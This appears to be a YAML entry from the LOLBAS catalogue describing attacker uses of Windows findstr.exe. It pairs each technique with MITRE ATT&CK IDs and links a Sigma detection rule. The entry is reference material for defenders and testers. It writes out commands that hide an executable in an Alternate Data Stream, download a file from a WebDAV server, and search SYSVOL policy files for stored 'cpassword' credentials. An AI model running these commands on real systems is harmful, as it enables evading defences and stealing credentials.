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LOLBAS/yml/OSBinaries/Findstr.yml
2024-02-17 17:30:52 +00:00

48 lines
2.5 KiB
YAML

---
Name: Findstr.exe
Description: Write to ADS, discover, or download files with Findstr.exe
Author: 'Oddvar Moe'
Created: 2018-05-25
Commands:
- Command: findstr /V /L W3AllLov3LolBas c:\ADS\file.exe > c:\ADS\file.txt:file.exe
Description: Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.
Usecase: Add a file to an alternate data stream to hide from defensive counter measures
Category: ADS
Privileges: User
MitreID: T1564.004
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
- Command: findstr /V /L W3AllLov3LolBas \\webdavserver\folder\file.exe > c:\ADS\file.txt:file.exe
Description: Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.
Usecase: Add a file to an alternate data stream from a webdav server to hide from defensive counter measures
Category: ADS
Privileges: User
MitreID: T1564.004
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
- Command: findstr /S /I cpassword \\sysvol\policies\*.xml
Description: Search for stored password in Group Policy files stored on SYSVOL.
Usecase: Find credentials stored in cpassword attrbute
Category: Credentials
Privileges: User
MitreID: T1552.001
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
- Command: findstr /V /L W3AllLov3LolBas \\webdavserver\folder\file.exe > c:\ADS\file.exe
Description: Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is downloaded to the target file.
Usecase: Download/Copy file from webdav server
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Full_Path:
- Path: C:\Windows\System32\findstr.exe
- Path: C:\Windows\SysWOW64\findstr.exe
Code_Sample:
- Code:
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_findstr.yml
Resources:
- Link: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
- Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
Acknowledgement:
- Person: Oddvar Moe
Handle: '@oddvarmoe'